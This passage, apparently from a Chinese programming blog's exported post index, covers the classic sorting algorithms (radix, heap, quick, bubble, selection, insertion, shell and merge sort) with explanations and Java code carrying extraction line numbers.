public int[] sort(int[] sourceArray) throws Exception { 180 // 对 arr 进行拷贝，不改变参数内容 181 int[] arr = Arrays.copyOf(sourceArray, sourceArray.length); 182 183 int maxDigit = getMaxDigit(arr); 184 return radixSort(arr, maxDigit); 185 } 186 187 /** 188 * 获取最高位数 189 */ 190 private int getMaxDigit(int[] arr) { 191 int maxValue = getMaxValue(arr); 192 return getNumLenght(maxValue); 193 } 194 195 private int getMaxValue(int[] arr) { 196 int maxValue = arr[0]; 197 for (int value : arr) { 198 if (maxValue \u0026lt; value) { 199 maxValue = value; 200 } 201 } 202 return maxValue; 203 } 204 205 protected int getNumLenght(long num) { 206 if (num == 0) { 207 return 1; 208 } 209 int lenght = 0; 210 for (long temp = num; temp != 0; temp /= 10) { 211 lenght++; 212 } 213 return lenght; 214 } 215 216 private int[] radixSort(int[] arr, int maxDigit) { 217 int mod = 10; 218 int dev = 1; 219 220 for (int i = 0; i \u0026lt; maxDigit; i++, dev *= 10, mod *= 10) { 221 // 考虑负数的情况，这里扩展一倍队列数，其中 [0-9]对应负数，[10-19]对应正数 (bucket + 10) 222 int[][] counter = new int[mod * 2][0]; 223 224 for (int j = 0; j \u0026lt; arr.length; j++) { 225 int bucket = ((arr[j] % mod) / dev) + mod; 226 counter[bucket] = arrayAppend(counter[bucket], arr[j]); 227 } 228 229 int pos = 0; 230 for (int[] bucket : counter) { 231 for (int value : bucket) { 232 arr[pos++] = value; 233 } 234 } 235 } 236 237 return arr; 238 } 239 240 /** 241 * 自动扩容，并保存数据 242 * 243 * @param arr 244 * @param value 245 */ 246 private int[] arrayAppend(int[] arr, int value) { 247 arr = Arrays.copyOf(arr, arr.length + 1); 248 arr[arr.length - 1] = value; 249 return arr; 250 } 251} 基数排序 vs 计数排序 vs 桶排序\n这三种排序算法都利用了桶的概念，但对桶的使用方法上有明显差异：\n基数排序：根据键值的每位数字来分配桶；\n计数排序：每个桶只存储单一键值；\n桶排序：每个桶存储一定范围的数值；\n关注公众号 获取更多精彩内容\n","date":"2020-02-21T10:55:33Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-21-shi-da-jing-dian-pai-xu-suan-fa-si/cover.jpg","permalink":"/p/2020-02-21-shi-da-jing-dian-pai-xu-suan-fa-si/","title":"十大经典排序算法（四）"},{"content":"\n接上文\n十大经典排序算法（一）\n十大经典排序算法（二）\n7 堆排序（Heap Sort） 堆排序（Heapsort）是指利用堆这种数据结构所设计的一种排序算法。堆积是一个近似完全二叉树的结构，并同时满足堆积的性质：即子结点的键值或索引总是小于（或者大于）它的父节点。堆排序可以说是一种利用堆的概念来排序的选择排序。分为两种方法：\n大顶堆：每个节点的值都大于或等于其子节点的值，在堆排序算法中用于升序排列；\n小顶堆：每个节点的值都小于或等于其子节点的值，在堆排序算法中用于降序排列；\n堆排序的平均时间复杂度为 Ο(nlogn)。\n算法描述 将待排序序列构建成一个堆 H[0……n-1]，根据（升序降序需求）选择大顶堆或小顶堆；\n把堆首（最大值）和堆尾互换；\n把堆的尺寸缩小 1，并调用 shift_down(0)，目的是把新的数组顶端数据调整到相应位置；\n重复步骤 2，直到堆的尺寸为 1。\n动图演示 详解\n下图是一棵深度为4的完全二叉树\n堆（二叉堆）可以视为一棵完全的二叉树。完全二叉树的一个“优秀”的性质是，除了最底层之外，其余每一层都是满的，这使得堆可以利用数组来表示（普通的一般的二叉树通常用链表作为基本容器表示），每一个结点对应数组中的一个元素。\n如下图，是一个堆和数组的相互关系。\n对于给定的某个节点的下标i，可以很容易的计算出这个结点的父结点、孩子结点的下标：\nParent(i) = i/2 // i 父节点的下标\nLeft(i) = 2i // i 左子节点的下标\nRight(i) = 2i + 1 // i 右子节点的下标\n堆（二叉堆）又分为2种：最大堆（大顶堆）、最小堆（小顶堆）。\n大顶堆\n堆中的最大元素值出现在根结点（堆顶）\n堆中每个父节点的元素值都大于等于其孩子结点（如果存在）\n![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-20-shi-da-jing-dian-pai-xu-suan-fa-san/006-c41026a0.png) 小顶堆\n堆中的最小元素值出现在根结点（堆顶）\n堆中每个父节点的元素值都小于等于其孩子结点（如果存在）\n堆排序就是把最大堆堆顶的最大数取出，将剩余的堆继续调整为最大堆，再次将堆顶的最大数取出，这个过程持续到剩余数只有一个时结束。在堆中定义以下几种操作：\n堆调整\n建堆\n继续进行下面的讨论前，需要注意的一个问题是：数组都是 Zero-Based，这就意味着我们的堆数据结构模型要发生改变：\n相应的，几个计算公式也要作出相应调整：\nParent(i) = (i-1)/2 // i 父节点下标\nLeft(i) = 2i + 1 // i 左子节点下标\nRight(i) = 2i + 2 // i 右子节点下标\n堆调整 最大堆调整（Max‐Heapify）的作用是保持最大堆的性质，是创建最大堆的核心子程序，过程如图所示：\n由于一次调整后，堆仍然违反堆性质，所以需要递归的测试，使得整个堆都满足堆性质。\n1/** 2 * 最大堆调整 3 * 4 * @param index 检查起始的下标 5 * @param heapSize 堆大小 6 */ 7 public void heapify(int[] array, int index, int heapSize) { 8 int left = 2 * index + 1;// 左孩子的下标（如果存在的话） 9 int right = 2 * index + 2;// 左孩子的下标（如果存在的话） 10 int iMax = index;// 寻找3个节点中最大值节点的下标 11 if (left \u0026lt; heapSize \u0026amp;\u0026amp; array[left] \u0026gt; array[index]) { 12 iMax = left; 13 } 14 if (right \u0026lt; heapSize \u0026amp;\u0026amp; array[right] \u0026gt; array[iMax]) { 15 iMax = right; 16 } 17 if (iMax != index) { 18 swap(array, iMax, index); 19 heapify(array, iMax, heapSize); 20 } 21 } 22 23 public void swap(int[] array, int i, int j) { 24 int temp = array[i]; 25 array[i] = array[j]; 26 array[j] = temp; 27 } 28 29```java 30 31递归在调用递归子函数的时候，会先将传给子函数的参数压栈，然后将当前指令的下一条指令的地址压栈，以便子函数执行完后返回到原函数中继续执行，在原函数继续执行之前还涉及到清理子函数的栈。因此，递归的效率比迭代低一点点。其实上面的调整堆也可以用迭代来实现： 32 33```cpp 34public void heapify(int[] array, int index, int heapSize) { 35 int left, right, iMax; 36 while (true) { 37 left = 2 * index + 1;// 左孩子的下标（如果存在的话） 38 right = 2 * index + 2;// 左孩子的下标（如果存在的话） 39 iMax = index;// 寻找3个节点中最大值节点的下标 40 if (left \u0026lt; heapSize \u0026amp;\u0026amp; array[left] \u0026gt; array[index]) { 41 iMax = left; 42 } 43 if (right \u0026lt; heapSize \u0026amp;\u0026amp; array[right] \u0026gt; array[iMax]) { 44 iMax = right; 45 } 46 if (iMax != index) { 47 swap(array, iMax, index); 48 index = iMax; 49 } else { 50 break; 51 } 52 } 53 } 54 55```java 56 57### 建堆 58 59创建最大堆（Build-Max-Heap）的作用是将一个数组改造成一个最大堆，接受数组和堆大小两个参数，Build-Max-Heap 将自下而上的调用 Max-Heapify 来改造数组，建立最大堆。**因为 Max-Heapify 能够保证下标 i 的结点之后结点都满足最大堆的性质，所以自下而上的调用 Max-Heapify 能够在改造过程中保持这一性质。**如果最大堆的数量元素是 n，那么 Build-Max-Heap 从 Parent(n) 开始，往上依次调用 Max-Heapify。流程如下： 60 61![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-20-shi-da-jing-dian-pai-xu-suan-fa-san/010-04d8231a.jpg) 62 63```cpp 64public void buildHeap(int[] array) { 65 int n = array.length;// 数组中元素的个数 66 for (int i = n / 2 - 1; i \u0026gt;= 0; i--) 67 heapify(array, i, n); 68} 69 70```java 71 72### 堆排序 73 74堆排序（Heap-Sort）先调用Build-Max-Heap将原数组改造为最大堆，这个时候堆顶元素最大，将其与堆底（当前堆对应数组的最后一个元素）交换，堆的大小减去1，当前堆堆底后面的元素已经排好序。然后，从堆顶元素开始检查，调用Max-Heapify保持最大堆性质，这样可以将第二大的元素调到堆顶，然后将其与当前堆堆底元素交换。重复这个过程n-1次，直到堆中只有1个元素为止。整个流程如下： 75 76![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-20-shi-da-jing-dian-pai-xu-suan-fa-san/011-ec54ed05.jpg) 77 78**完整代码实现** 79 80```java 81public class HeapSort implements IArraySort { 82 83 @Override 84 public int[] sort(int[] sourceArray) throws Exception { 85 // 对 arr 进行拷贝，不改变参数内容 86 int[] arr = Arrays.copyOf(sourceArray, sourceArray.length); 87 88 int len = arr.length; 89 90 buildMaxHeap(arr, len); 91 92 for (int i = len - 1; i \u0026gt; 0; i--) { 93 swap(arr, 0, i); 94 len--; 95 heapify(arr, 0, len); 96 } 97 return arr; 98 } 99 100 private void buildMaxHeap(int[] arr, int len) { 101 for (int i = (int) Math.floor(len / 2); i \u0026gt;= 0; i--) { 102 heapify(arr, i, len); 103 } 104 } 105 106 private void heapify(int[] arr, int i, int len) { 107 int left = 2 * i + 1; 108 int right = 2 * i + 2; 109 int largest = i; 110 111 if (left \u0026lt; len \u0026amp;\u0026amp; arr[left] \u0026gt; arr[largest]) { 112 largest = left; 113 } 114 115 if (right \u0026lt; len \u0026amp;\u0026amp; arr[right] \u0026gt; arr[largest]) { 116 largest = right; 117 } 118 119 if (largest != i) { 120 swap(arr, i, largest); 121 heapify(arr, largest, len); 122 } 123 } 124 125 private void swap(int[] arr, int i, int j) { 126 int temp = arr[i]; 127 arr[i] = arr[j]; 128 arr[j] = temp; 129 } 130 131} 参考\nhttp://lioncruise.github.io/2016/10/30/heap-sort/ 关注公众号 获取更多精彩内容\n","date":"2020-02-20T11:45:05Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-20-shi-da-jing-dian-pai-xu-suan-fa-san/cover.jpg","permalink":"/p/2020-02-20-shi-da-jing-dian-pai-xu-suan-fa-san/","title":"十大经典排序算法（三）"},{"content":"\n接上一篇 十大经典排序算法（一）\n6 快速排序（Quick Sort） 快速排序（有时称为分区交换排序）是一种有效的排序算法。由英国计算机科学家Tony Hoare于1959年开发并于1961年发表，它仍然是一种常用的排序算法。如果实施得当，它可以比主要竞争对手（合并排序和堆排序）快两到三倍。快速排序基本上被认为是相同数量级的所有排序算法中，平均性能最好的。\nQuicksort是一种分而治之的算法。它通过从数组中选择一个“pivot”元素并将其他元素划分为两个子数组（根据它们是否小于或大于枢轴）来工作。然后将子数组递归排序。这种排序方式由于可以就地完成，所以需要少量额外的内存来执行排序。\n在平均状况下，排序 n 个项目要 Ο(nlogn) 次比较。在最坏状况下则需要 Ο(n2) 次比较，但这种状况并不常见。事实上，快速排序通常明显比其他 Ο(nlogn) 算法更快，因为它的内部循环（inner loop）可以在大部分的架构上很有效率地被实现出来\n其广泛应用的主要原因是高效.快速排序经常会被作为面试题进行考察，通常的考察思路是快排思想、编码实践之手写快排以及进一步对快排的优化。事实上在Java标准库中Arrays类的sort方法里源码也正是使用了优化后的快速排序，**java 8 中 Arrays.sort并不是单一的排序，而是插入排序，快速排序，归并排序三种排序的组合，**有兴趣的可以看看源码。\n举个例子 如无序数组[6 2 4 1 5 9]\n先把第一项[6]取出来,\n用[6]依次与其余项进行比较, 如果比[6]小就放[6]前边,2 4 1 5都比[6]小,所以全部放到[6]前边 如果比[6]大就放[6]后边,9比[6]大,放到[6]后边 //***6出列后大喝一声,比我小的站前边,比我大的站后边,行动吧!霸气十足~*** 一趟排完后变成下边这样: 排序前 **6** 2 4 1 5 9 排序后 2 4 1 5 **6** 9 对前半拉[2 4 1 5]继续进行快速排序\n重复第一步后变成下边这样: 排序前 **2** 4 1 5 排序后 1 **2** 4 5 前半拉排序完成,总的排序也完成 排序前:[6 2 4 1 5 9] 排序后:[1 2 4 5 6 9] 排序结束\n算法描述 快速排序使用分治法来把一个串（list）分为两个子串（sub-lists）。具体算法描述如下：\n从数列中挑出一个元素，称为 “基准”（pivot）；\n重新排序数列，所有元素比基准值小的摆放在基准前面，所有元素比基准值大的摆在基准的后面（相同的数可以到任一边）。在这个分区退出之后，该基准就处于数列的中间位置。这个称为分区（partition）操作；\n递归地（recursive）把小于基准值元素的子数列和大于基准值元素的子数列排序。\n动图演示 代码实现 1 2import java.util.Arrays; 3 4public class QuickSort { 5 6 public int[] sort(int[] sourceArray) { 7 // 对 arr 进行拷贝，不改变参数内容 8 int[] arr = Arrays.copyOf(sourceArray, sourceArray.length); 9 10 return quickSort(arr, 0, arr.length - 1); 11 } 12 13 private int[] quickSort(int[] arr, int left, int right) { 14 15 if (left \u0026lt; right) { 16 int partitionIndex = partition(arr, left, right); 17 quickSort(arr, left, partitionIndex - 1); 18 quickSort(arr, partitionIndex + 1, right); 19 } 20 return arr; 21 22 } 23 24 private int partition(int[] arr, int left, int right) { 25 26 int pivot = arr[right]; 27 int index = left; 28 for (int i = index; i \u0026lt;= right; i++) { 29 30 if (arr[i] \u0026lt;= pivot) { 31 int temp = arr[i]; 32 arr[i] = arr[index]; 33 arr[index] = temp; 34 index++; 35 } 36 37 } 38 return index - 1; 39 40 } 41 42} 为了便于理解 ，再举个例子，先把数组按最后一个元素4作为分界点，把数组一分为三。除了分界点之外，左子部分全是小于等于4的，右子部分全是大于4的，它们可以进一步递归排序。该算法的核心是：如何把数组按分界点一分为三？\n具体过程是这样的，选取最后一个元素为分界点，然后遍历数组找小于等于分界点的元素，然后往数组前面交换。比如：\n上图中，我们按顺序找小于等于4的元素，共1、2、3、4。然后分别与数组的前4个元素交换即可，结果自然是一分为三。\n基准的选择 基准普遍的有三种选择方法： 固定基准元，一般选取中间值或头部值或尾部值。如果输入序列是随机的，处理时间是可以接受的。如果数组已经有序时或部分有序，此时的分割就是一个非常不好的分割。因为每次划分只能使待排序序列减一，数组全部有序时，此时为最坏情况，快速排序沦为冒泡排序，时间复杂度为O(n^2)。所以此种方式要慎用。\n随机基准元，这是一种相对安全的策略。由于基准元的位置是随机的，那么产生的分割也不会总是会出现劣质的分割。在整个数组数字全相等时，仍然是最坏情况，时间复杂度是O(n^2）。实际上，随机化快速排序得到理论最坏情况的可能性仅为1/(2^n）。所以随机化快速排序可以对于绝大多数输入数据达到O(nlogn）的期望时间复杂度。\n三数取中，一般是分别取出数组的头部元素，尾部元素和中部元素， 在这三个数中取出中位数，作为基准元素。最佳的划分是将待排序的序列分成等长的子序列，最佳的状态我们可以使用序列的中间的值，也就是第N/2个数。可是，这很难算出来，并且会明显减慢快速排序的速度。这样的中值的估计可以通过随机选取三个元素并用它们的中值作为枢纽元而得到。事实上，随机性并没有多大的帮助，因此一般的做法是使用左端、右端和中心位置上的三个元素的中值作为枢纽元。显然使用三数中值分割法消除了预排序输入的不好情形。（简单来说，就是随机取三个数，取中位数）。\n优化思路 当待排序序列的长度分割到一定大小后，使用插入排序。\njdk8的源码也是这么写的 （注意注释部分，这里INSERTION\\_SORT\\_THRESHOLD = 47） 原因：对于很小和部分有序的数组，快排不如插排好。当待排序序列的长度分割到一定大小后，继续分割的效率比插入排序要差，此时可以使用插排而不是快排。 合理选择pivot\npivot选取的理想情况是：让分区中比 pivot 小的元素数量和比 pivot 大的元素数量差不多。较常用的做法是三数取中（ midian of three ），即从第一项、最后一项、中间一项中取中位数作为 pivot。当然这并不能完全避免最差情况的发生。所以很多时候会采取更小心、更严谨的 pivot 选择方案（对于大数组特别重要）。比如先把大数组平均切分成左中右三个部分，每个部分用三数取中得到一个中位数，再从得到的三个中位数中找出中位数。\n优化递归操作\n快排函数在函数尾部有两次递归操作，我们可以对其使用尾递归优化（然而并不是所有语言都支持尾递归）\n优点：如果待排序的序列划分极端不平衡，递归的深度将趋近于n，而栈的大小是很有限的，每次递归调用都会耗费一定的栈空间，函数的参数越多，每次递归耗费的空间也越多。\n优化后，可以缩减堆栈深度，由原来的O(n)缩减为O(logn)，将会提高性能。 改进划分的策略（可以参考 https://segmentfault.com/a/1190000014960548）\njdk8 DualPivotQuicksort 使用了一种称为 五取样划分 的策略对数组进行划分，类似于 BFPRT 算法。\n双枢轴（可以参考 https://segmentfault.com/a/1190000014960548）\n即将数组三切分(大于枢轴，等于枢轴，小于枢轴），可以证明这样是熵最优的并且更高效。为什么这样划分呢？因为统计表明对大规模数组进行排序时，数据重复的情况比较多，因此使用双枢轴可以有效避免相等元素之间的比较。以 Java 标准库为例，JDK 1.8 中的 DualPivotQuicksort 实现了一种 快速三向切分 的快速排序，它通过将相等元素聚集起来的方式使熵最优（原理：将相等元素聚集起来，不必再切分这些元素）。\n其他未写到，或更加丧心病狂的方法\n参考：\nhttps://www.programcreek.com/2012/11/quicksort-array-in-java/\nhttps://juejin.im/post/5d75f77e5188253e4b2f0d3d\nhttps://www.kancloud.cn/maliming/leetcode/740422\n关注公众号 获取更多精彩内容\n","date":"2020-02-19T15:32:16Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-19-shi-da-jing-dian-pai-xu-suan-fa-er/cover.jpg","permalink":"/p/2020-02-19-shi-da-jing-dian-pai-xu-suan-fa-er/","title":"十大经典排序算法（二）"},{"content":"\n十种常见排序算法可以分为两大类：\n比较类排序：通过比较来决定元素间的相对次序，由于其时间复杂度不能突破O(nlogn)，因此也称为非线性时间比较类排序。\n非比较类排序：不通过比较来决定元素间的相对次序，它可以突破基于比较排序的时间下界，以线性时间运行，因此也称为线性时间非比较类排序。\n概括一下时间和空间复杂度：\n上图相关概念：\n稳定：如果a原本在b前面，而a=b，排序之后a仍然在b的前面。\n不稳定：如果a原本在b的前面，而a=b，排序之后 a 可能会出现在 b 的后面。\n时间复杂度：对排序数据的总的操作次数。反映当n变化时，操作次数呈现什么规律。\n空间复杂度：是指算法在计算机内执行时所需存储空间的度量，它也是数据规模n的函数。\n1 冒泡排序（Bubble Sort）\n冒泡排序是一种简单的排序算法。它重复地走访过要排序的数列，一次比较两个元素，如果它们的顺序错误就把它们交换过来。走访数列的工作是重复地进行直到没有再需要交换，也就是说该数列已经排序完成。这个算法的名字由来是因为越小的元素会经由交换慢慢“浮”到数列的顶端。冒泡排序还有一种优化算法，就是立一个flag，当在一趟序列遍历中元素没有发生交换，则证明该序列已经有序。但这种改进对于提升性能来说并没有什么太大作用。\n算法描述 比较相邻的元素。如果第一个比第二个大，就交换它们两个；\n对每一对相邻元素作同样的工作，从开始第一对到结尾的最后一对，这样在最后的元素应该会是最大的数；\n针对所有的元素重复以上的步骤，除了最后一个；\n重复步骤1~3，直到排序完成。\n动图演示\n代码实现 1public class BubbleSort implements IArraySort { 2 3 @Override 4 public int[] sort(int[] sourceArray) throws Exception { 5 // 对 arr 进行拷贝，不改变参数内容 6 int[] arr = Arrays.copyOf(sourceArray, sourceArray.length); 7 8 for (int i = 1; i \u0026lt; arr.length; i++) { 9 // 设定一个标记，若为true，则表示此次循环没有进行交换，也就是待排序列已经有序，排序已经完成。 10 boolean flag = true; 11 12 for (int j = 0; j \u0026lt; arr.length - i; j++) { 13 if (arr[j] \u0026gt; arr[j + 1]) { 14 int tmp = arr[j]; 15 arr[j] = arr[j + 1]; 16 arr[j + 1] = tmp; 17 18 flag = false; 19 } 20 } 21 22 if (flag) { 23 break; 24 } 25 } 26 return arr; 27 } 28} 29 30```java 31 32### 2 选择排序（Selection Sort） 33 34选择排序(Selection-sort)是一种简单直观的排序算法。它的工作原理：首先在未排序序列中找到最小（大）元素，存放到排序序列的起始位置，然后，再从剩余未排序元素中继续寻找最小（大）元素，然后放到已排序序列的末尾。以此类推，直到所有元素均排序完毕。 35 36#### 算法描述 37 38- 首先在未排序序列中找到最小（大）元素，存放到排序序列的起始位置 39 40- 再从剩余未排序元素中继续寻找最小（大）元素，然后放到已排序序列的末尾。 41 42- 重复第二步，直到所有元素均排序完毕。 43 44**动图演示** 45 46**![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-17-shi-da-jing-dian-pai-xu-suan-fa-yi/005-4d0b70f9.gif)** 47 48#### 代码实现 49 50```java 51public class SelectionSort implements IArraySort { 52 53 @Override 54 public int[] sort(int[] sourceArray) throws Exception { 55 int[] arr = Arrays.copyOf(sourceArray, sourceArray.length); 56 57 // 总共要经过 N-1 轮比较 58 for (int i = 0; i \u0026lt; arr.length - 1; i++) { 59 int min = i; 60 61 // 每轮需要比较的次数 N-i 62 for (int j = i + 1; j \u0026lt; arr.length; j++) { 63 if (arr[j] \u0026lt; arr[min]) { 64 // 记录目前能找到的最小值元素的下标 65 min = j; 66 } 67 } 68 69 // 将找到的最小值和i位置所在的值进行交换 70 if (i != min) { 71 int tmp = arr[i]; 72 arr[i] = arr[min]; 73 arr[min] = tmp; 74 } 75 76 } 77 return arr; 78 } 79} 80 81```java 82 83### 3 插入排序（Insertion Sort） 84 85插入排序的代码实现虽然没有冒泡排序和选择排序那么简单粗暴，但它的原理应该是最容易理解的了，因为只要打过扑克牌的人都应该能够秒懂。插入排序是一种最简单直观的排序算法，它的工作原理是通过构建有序序列，对于未排序数据，在已排序序列中从后向前扫描，找到相应位置并插入。 86 87#### 算法描述 88 89- 从第一个元素开始，该元素可以认为已经被排序； 90 91- 取出下一个元素，在已经排序的元素序列中从后向前扫描； 92 93- 如果该元素（已排序）大于新元素，将该元素移到下一位置； 94 95- 重复步骤3，直到找到已排序的元素小于或者等于新元素的位置； 96 97- 将新元素插入到该位置后； 98 99- 重复步骤2~5。 100 101**动图演示** 102 103![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-17-shi-da-jing-dian-pai-xu-suan-fa-yi/006-3a3c39a9.gif) 104 105#### 代码实现 106 107```java 108public class InsertSort implements IArraySort { 109 110 @Override 111 public int[] sort(int[] sourceArray) throws Exception { 112 // 对 arr 进行拷贝，不改变参数内容 113 int[] arr = Arrays.copyOf(sourceArray, sourceArray.length); 114 115 // 从下标为1的元素开始选择合适的位置插入，因为下标为0的只有一个元素，默认是有序的 116 for (int i = 1; i \u0026lt; arr.length; i++) { 117 118 // 记录要插入的数据 119 int tmp = arr[i]; 120 121 // 从已经排序的序列最右边的开始比较，找到比其小的数 122 int j = i; 123 while (j \u0026gt; 0 \u0026amp;\u0026amp; tmp \u0026lt; arr[j - 1]) { 124 arr[j] = arr[j - 1]; 125 j--; 126 } 127 128 // 存在比其小的数，插入 129 if (j != i) { 130 arr[j] = tmp; 131 } 132 133 } 134 return arr; 135 } 136} 137 138```java 139 140### 4 希尔排序（Shell Sort） 141 142希尔排序按其设计者希尔（Donald Shell）的名字命名，该算法由1959年公布。 143 144希尔排序，也称**递减增量排序**算法，它是简单插入排序经过改进之后的一个更高效的版本。实际上，希尔排序就是插入排序的高级版。 145 146希尔排序是把记录按下标的一定增量分组，对每组使用直接插入排序算法排序；随着增量逐渐减少，每组包含的关键词越来越多，当增量减至1时，整个文件恰被分成一组，算法便终止。它的做法不是每次一个元素挨一个元素的比较。而是初期选用大跨步（增量较大）间隔比较，使记录跳跃式接近它的排序位置；然后增量缩小；最后增量为 1 ，这样记录**移动次数大大减少**，提高了排序效率。希尔排序对增量序列的选择没有严格规定。 147 148简单插入排序很循规蹈矩，不管数组分布是怎么样的，依然一步一步的对元素进行比较，移动，插入，比如[5,4,3,2,1,0]这种倒序序列，数组末端的0要回到首位置很是费劲，比较和移动元素均需n-1次。而希尔排序在数组中采用跳跃式分组的策略，通过某个增量将数组元素划分为若干组，然后分组进行插入排序，随后逐步缩小增量，继续按组进行插入排序操作，直至增量为1。希尔排序通过这种策略使得整个数组在初始阶段达到从宏观上看基本有序，小的基本在前，大的基本在后。然后缩小增量，到增量为1时，其实多数情况下只需微调即可，不会涉及过多的数据移动。 149 150![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-17-shi-da-jing-dian-pai-xu-suan-fa-yi/007-a103f3bf.jpg) 151 152再举个例子： 153 154例如，假设有这样一组数[ 13 14 94 33 82 25 59 94 65 23 45 27 73 25 39 10 ]，如果我们以步长为5开始进行排序，我们可以通过将这列表放在有5列的表中来更好地描述算法，这样他们就应该看起来是这样： 155 15613 14 94 33 82 15725 59 94 65 23 15845 27 73 25 39 15910 160 161然后我们对每列进行排序： 162 16310 14 73 25 23 16413 27 94 33 39 16525 59 94 65 82 16645 167 168将上述四行数字，依序接在一起时我们得到：[ 10 14 73 25 23 13 27 94 33 39 25 59 94 65 82 45 ].这时10已经移至正确位置了，然后再以3为步长进行排序： 169 17010 14 73 17125 23 13 17227 94 33 17339 25 59 17494 65 82 17545 176 177排序之后变为： 178 17910 14 13 18025 23 33 18127 25 59 18239 65 73 18345 94 82 18494 185 186最后以1步长进行排序（此时就是简单的插入排序了）。 187 188**总结来看：步长是多少，就分多少组（子序列）** 189 190#### 算法描述 191 192- 选择一个增量序列t1，t2，…，tk，其中ti\u0026gt;tj，tk=1； 193 194- 按增量序列个数k，对序列进行k 趟排序； 195 196- 每趟排序，根据对应的增量ti，将待排序列分割成若干长度为m 的子序列，分别对各子表进行直接插入排序。仅增量因子为1 时，整个序列作为一个表来处理，表长度即为整个序列的长度。 197 198#### 动图演示 199 200![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-17-shi-da-jing-dian-pai-xu-suan-fa-yi/008-a9af1485.gif) 201 202#### 代码实现 203 204```java 205public class ShellSort implements IArraySort { 206 207 @Override 208 public int[] sort(int[] sourceArray) throws Exception { 209 // 对 arr 进行拷贝，不改变参数内容 210 int[] arr = Arrays.copyOf(sourceArray, sourceArray.length); 211 212 int gap = 1; 213 while (gap \u0026lt; arr.length/3) { 214 gap = gap * 3 + 1; 215 } 216 217 while (gap \u0026gt; 0) { 218 for (int i = gap; i \u0026lt; arr.length; i++) { 219 int tmp = arr[i]; 220 int j = i - gap; 221 while (j \u0026gt;= 0 \u0026amp;\u0026amp; arr[j] \u0026gt; tmp) { 222 arr[j + gap] = arr[j]; 223 j -= gap; 224 } 225 arr[j + gap] = tmp; 226 } 227 gap = (int) Math.floor(gap / 3); 228 } 229 230 return arr; 231 } 232} 随着排序的进行，数组越来越接近有序，步长也越来越小，直到gap=1，此时希尔排序就变得跟插入排序一模一样了，但此时数组已经几乎完全有序了，对一个几乎有序的数组运行插入排序，其复杂度接近O(N)。整个过程看起来天衣无缝，然而其中隐藏着一个难点，应该使用怎样的增量序列？\n必须要考虑的因素有两点：\n当改变步长的时候，如何保证新的步长不会打乱之前排序的结果？\n这不会影响最终排序的正确性，因为只要步长在减小，数组永远都只会朝着更加有序的方向迈进，但这却是影响希尔排序效率的关键。因为这涉及到完成排序的过程中，算法做了多少无用功。 如何保证每一个步长都是有意义的？来看一个例子，假设有一个数组[1,5,2,6,3,7,4,8]，使用步长序列[4,2,1]对其进行排序，过程如图：\n这就相当于进行了一次低效的插入排序，因为在step=1之前，程序什么也没干，偶数位置永远不会与基数位置进行比较 **目前已有的增量算法有以下几种**（ N为数组长度）： 其中第一个它出自Shell本人且非常容易用代码表达，因此而流行，我看到现在的一些文章中的例子都还在使用它或它的变种。本文中代码实现部分为了方便演示，选择了很多例子中惯用的一个增量算法。\n希尔排序相对于前面三种排序复杂一些，没有那么直观，需要仔细思考，如果对照程序想不明白，最好Debug一下程序，看一下流程，你会发现其实内核还是插入排序只不过外面套了多个不同步长的子序列，进行了多次插入排序而已。\n5 归并排序（Merge Sort） 归并排序（MERGE-SORT）是利用归并的思想实现的排序方法，该算法采用经典的分治（divide-and-conquer）策略（分治法将问题分(divide)成一些小的问题然后递归求解，而治(conquer)的阶段则将分的阶段得到的各答案\u0026quot;修补\u0026quot;在一起，即分而治之)。将已有序的子序列合并，得到完全有序的序列；即先使每个子序列有序，再使子序列段间有序。若将两个有序表合并成一个有序表，称为2路归并。\n作为一种典型的分而治之思想的算法应用，归并排序的实现由两种方法：\n自上而下的递归（所有递归的方法都可以用迭代重写，所以就有了第 2 种方法）；\n自下而上的迭代；\n分而治之 可以看到这种结构很像一棵完全二叉树，本文的归并排序我们采用递归去实现（也可采用迭代的方式去实现）\n算法描述 把长度为n的输入序列分成两个长度为n/2的子序列；\n对这两个子序列分别采用归并排序；\n将两个排序好的子序列合并成一个最终的排序序列。\n动图演示 代码实现 1public class MergeSort { 2 3 public int[] sort(int[] sourceArray) throws Exception { 4 // 对 arr 进行拷贝，不改变参数内容 5 int[] arr = Arrays.copyOf(sourceArray, sourceArray.length); 6 7 if (arr.length \u0026lt; 2) { 8 return arr; 9 } 10 int middle = (int) Math.floor(arr.length / 2); 11 12 int[] left = Arrays.copyOfRange(arr, 0, middle); 13 int[] right = Arrays.copyOfRange(arr, middle, arr.length); 14 15 return merge(sort(left), sort(right)); 16 } 17 18 protected int[] merge(int[] left, int[] right) { 19 int[] result = new int[left.length + right.length]; 20 int i = 0; 21 while (left.length \u0026gt; 0 \u0026amp;\u0026amp; right.length \u0026gt; 0) { 22 if (left[0] \u0026lt;= right[0]) { 23 result[i++] = left[0]; 24 left = Arrays.copyOfRange(left, 1, left.length); 25 } else { 26 result[i++] = right[0]; 27 right = Arrays.copyOfRange(right, 1, right.length); 28 } 29 } 30 31 while (left.length \u0026gt; 0) { 32 result[i++] = left[0]; 33 left = Arrays.copyOfRange(left, 1, left.length); 34 } 35 36 while (right.length \u0026gt; 0) { 37 result[i++] = right[0]; 38 right = Arrays.copyOfRange(right, 1, right.length); 39 } 40 41 return result; 42 } 43 44} 归并排序是一种稳定的排序方法。和选择排序一样，归并排序的性能不受输入数据的影响，但表现比选择排序好的多，因为始终都是O(nlogn）的时间复杂度。代价是需要额外的内存空间。\n关于动画演示，网上有许多比本文更漂亮的，大家可以搜索看一下，比如 http://sorting.at/ 